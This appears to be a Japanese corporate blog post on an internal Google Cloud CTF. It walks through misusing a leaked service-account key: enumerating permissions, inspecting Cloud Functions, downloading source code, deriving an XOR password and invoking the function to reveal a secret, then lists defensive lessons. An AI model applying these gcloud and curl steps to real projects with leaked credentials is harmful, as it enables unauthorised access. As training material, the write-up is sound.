🐯

クラウドエースSRE部で CTF やってみた

2024/06/10に公開

はじめに

記事の目的

こんにちは、クラウドエース SRE部 に所属している\textcolor{red}{赤髪}がトレードマークの Shanks です。

クラウドエースではギルドと呼ばれる任意参加型の技術習得・自己学習制度が存在します。
筆者はセキュリティギルド(セキュリティに関する学習グループ)に所属しています。

少し前に、セキュリティギルドが主催となり、クラウドエースのSRE部内の活動として「CTF」を実施いたしました。
本日は、その結果と解説を踏まえ、読者の皆様にも Google Cloud のセキュリティについて今一度見つめ直していただく場となれば幸いです。

CTF とは

CTF(Capture The Flag)とは、ざっくり言えばシステム内に隠された文字列等の答えを見つけ、その正確性と速度を競うコンテストです。

本件では、Google Cloud に特化したシナリオを作成し、セキュリティギルドのメンバー(以下、ギルメンと呼称)によって実際にシステムを構築しました。

CTF(Capture The Flag)とは、情報セキュリティの分野では、専門知識や技術を駆使して隠されているFlag(答え)を見つけ出し、時間内に獲得した合計点数を競うハッキングコンテストを指します。

クラウドエース版 CTF のシナリオ

実際のシナリオは以下の通りです。
Thunder CTF に掲載されていたシナリオをベースに、Bard(現 Gemini)によって生成しました。

ctf-scenario

Thunder CTF とは、Google Cloud のセキュリティを学習および実践することができる環境・手法を展開する学習資材のことです。

アーキテクチャ(イメージ図)

arch

ポイント

本件では、Service Account(SA)キーが誤って流出してしまったことが原因で不正アクセスが試みられた状況を想定しました。
Google Cloud に限らず、認証情報が漏洩してしまう事故は度々発生しています。

よくあるものとして、大量の VM インスタンスが作成され、仮想通貨のマイニングに悪用されるといったケースがあります。
また、不正アクセスを足がかりに、ラテラル ムーブメント(二次被害)によってより広範囲の攻撃を受ける可能性があります。

本件では、ラテラル ムーブメントによってさらなる不正アクセスに繋がる認証情報の取得をゴールとしました。

解説

STEP0 流出した SA キーを悪用してなりすます

step0-1

本件では、参加する SRE メンバーに SA キー(JSON)を配布することで流出の状態を再現しました。
JSON 形式の SA キーを確認すると、以下の情報が入手できます。

  • Google Cloud プロジェクト ID
  • 秘密鍵
  • SA の名前(メールアドレス形式)

step0-2

キーファイルと各種情報がわかれば、SA になりすますことが可能です。
本来は既存 SA の権限を借用するなど、正しい用途で活用できる本機能ですが、これを悪用します。

STEP1 流出した SA キーの権限を探る

step1-1

流出した SA になりすました後は、その SA でできることを把握します。
例えば、Cloud Storage にアクセスできる権限が IAM で付与されていれば、Cloud Storage バケット内にあるオブジェクトに不正アクセスを試みることができます。

本件では、SA の権限を確認できる Python スクリプトを用意しましたので、それを実行していただきました。
実行した結果、どうやら Cloud Functions に関する権限を持っているようです。

$ python path/test-permissions.py path/key.json

['cloudfunctions.functions.get', 'cloudfunctions.functions.list', 
'cloudfunctions.functions.sourceCodeGet', 'cloudfunctions.local.list']

STEP2 Cloud Functions を探る

step2-1

SA のなりすまし、振る舞える内容をそれぞれ確認できたので、Cloud Functions を探っていきます。
まずは確認できる範囲でどんな Cloud Functions の関数がデプロイされているかを調べます。

$ gcloud functions list

NAME   	   	STATE   	TRIGGER       	REGION       	ENVIRONMENT
func-xxxxx   	ACTIVE  	HTTP Trigger  	us-central1  	1st gen

func-xxxxx という関数がデプロイされていることを確認したので、その関数の詳細を探っていきます。

$ gcloud functions describe func-xxxxx

<一部省略>
enviromentVariables: abc123def456
  XOR_PASSWORD: ‘123456789012’
httpsTrigger:
  securityLevel: SECURE_OPTIONAL
  url: https://us-central1-xxx.cloudfunctions.net/func-xxxxx
ingressSettings: ALLOW_ALL
labels:
  goog-dm: ctf
name: projects/[project-name]/locations/us-central1/functions/func-xxxxx
runtime: python37
serviceAccountEmail: [sa-name]@[project-id].iam.gserviceaccount.com
sourceUploadUrl: https://storage.googleapis.com/upload-hoge.us-central1.cloudfunctions.appspot.com/123ab.zip

出力結果を確認すると、以下の情報が入手できます。

  • 怪しい変数「XOR_PASSWORD」
  • 関数を実行するトリガータイプ(https)
  • 関数をトリガーする(URL)
  • 関数で実行されるスクリプトの RunTime 情報等
  • 関数のソースコードの格納場所

STEP3 関数を不正に呼び出す

まずは入手した情報をもとに関数を呼び出してみます。
入手した情報の中には、関数をトリガーする URL が含まれていたため、それを宛先とする curl コマンドを実行してみましょう。
このとき、そのまま curl を投げるだけでは認証を求められ失敗してしまうため、なりすました SA の ID トークンを利用して呼び出します。

$ curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" https://us-central1-xxx.cloudfunctions.net/func-xxxxx

Must include "password" argument in request

結果として、どうやら password という変数が必須のようです。

STEP4 ソースコードを覗き見る

STEP2 で不正に入手した情報をもう一度確認してみると、XOR_PASSWORD といういかにも怪しいものがあったことに気づきます。

<一部省略>
enviromentVariables: 
  XOR_PASSWORD: ‘0123456789’
httpsTrigger:
  securityLevel: SECURE_OPTIONAL
  url: https://us-central1-xxx.cloudfunctions.net/func-xxxxx
<一部省略>

また、STEP1 で確認した SA の持つ権限の中に、 cloudfunctions.functions.sourceCodeGet を持っていたことに着目します。

$ python path/test-permissions.py path/key.json

['cloudfunctions.functions.get', 'cloudfunctions.functions.list', 
'cloudfunctions.functions.sourceCodeGet', 'cloudfunctions.local.list']

step4-1

以下のメソッド リファレンスを参考に、curl コマンドを生成し、結果を同画面の「Execute > downloadUrl」からソースコードを取得します。
Authorization ヘッダの YOUR_ACCESS_TOKEN は、 Cloud Functions を実行するときの ID トークンではなく、アクセストークン(print-access-token)で生成した値であることに注意してください。

$ curl --request POST \
  'https://cloudfunctions.googleapis.com/v1/projects/xxxxxxxxxx/locations/us-centrall/functions/xxxxxx'
  --header 'Authorization: Bearer [YOUR_ACCESS_TOKEN]' \
  --header 'Accept: application/json' \
  --header 'Content-Type: application/json' \
  --data '{}' \
  --compressed

次に、入手したソースコード(Python)を確認します。
どうやら、リクエスト時に渡す password 引数の値と XOR_FACTOR で XOR 演算した結果が XOR_PASSWORD と一致していればよいみたいです。

XOR_FACTOR = 987654321098
def main(request):
    # Exit if request does not include password
    if not 'password' in request.args:
        return 'Must include \"password\" argument in request\n'
    try:
        password = int(request.args.get('password'))
    except ValueError:
        return 'Password must be an integer\n'
    XOR_PASSWORD = int(os.environ.get('XOR_PASSWORD'))
    # Exit if password is not correct
    if not password ^ XOR_FACTOR == XOR_PASSWORD:
        return 'Password yielded incorrect result\n'
<一部省略>

さっそく、describe コマンドで入手した XOR_PASSWORDXOR_FACTOR を演算し、 password を求めてみましょう。

$ echo $((XOR_PASSWORD ^ XOR_FACTOR))

password

#例)
$ echo $((123456789012 ^ 987654321098))

1070693738974

STEP5 不正アクセスを試みる

STEP4 でパスワードが判明したため、再度 curl を実行し、不正アクセスを試みます。
引数には SA の ID トークンと、 password が含まれた宛先 URL を指定します。

$ curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" https://us-central1-xxxxx.cloudfunctions.net/func-xxxxx?password=XXXXXXXXXXXX

おめでとうございます!
隠されていたシークレットの答えが出てきました 🎉🎉🎉🎉🎉
これで CTF はクリアです。

Correct password. The secret is: xxxxxxxxxxxxxxxxxxxx

CTF での学び

本件では、CTF を通じて様々な学びを得ることができました。

  • SA キーの取り扱いは慎重に行わなければならない
  • 脆弱なパスワードは本件のように簡単に突破される
  • 認証情報をプログラムソースにハードコードしない
    • Secret Manager のような機密情報ストレージを使用する
    • 必要に応じてハッシュ化や暗号化を行う

また、Google Cloud では 2024/06/16 から誤って公開された SA キーを自動的に無効化する機能が追加されます。
この機能が活用されれば今回のようなキーの流出は防げる可能性があるものの、防御をしなくてよいという話ではありません。
読者の皆様におかれましては引き続き安全なシステム設計を計画してください。

社内からのコメント抜粋

fb-1

CTF 終了後に FB アンケートを取った結果、回答者の 94.5% の方が「楽しめた」「Google Cloud の知識が向上した」と回答していました。
また、社内からは以下のようなポジティブなコメントを多数いただくことができました。

  • 問題を解決するために同僚と協力する機会を得られた
  • 全体的にイベントを楽むことができた

fb-2

一方で、97.3% の方が CTF 初参加であったこともあり、進め方に課題を感じたチームもいました。
課題を感じたチームからは以下のような FB をいただきました。
主催をしたギルメンも CTF の主催は未経験であったことから、多くの気づきを得られたと感じています。

  • 難易度や問題の分割方法について改善の余地があると感じた
  • チーム内での役割分担や相談の余地、制限時間内に問題を解く難易度についても改善の余地があると感じた

ギルメンの考察

  • 難易度設定
    • 最初にしては難しかった
    • いくつかのレベルの問題を段階的に出題してもよいかも
  • 環境差分
    • pythonの実行までに時間がかかってしまう人が多かった
    • 問題の本質ではないところは事前準備などでカバーしたい
  • チームわけ
    • チーム内で協力しやすいよう3~4人チームの設定としたが、チーム数が多く、ギルメンで回り切るのが大変だった
  • 時間配分
    • 事前に問題を解いてもらうテスターを何人かに頼んだほうがよかったかも

まとめ

fb-3
セキュリティギルドとして今回のイベント主催は大きな成果が挙げられたと考えています。
今後もセキュリティギルドでは Google Cloud のセキュリティに関する技術記事を執筆していきますのでご期待ください。

再三になりますが、本 CTF では「このような脆弱なシステムを構築しないよう学習を通じて意識向上を図る」ことが目的です。
本記事を通じて読者の皆様も意識向上の機会に繋がれば幸いです。

ギルメンの記事

Discussion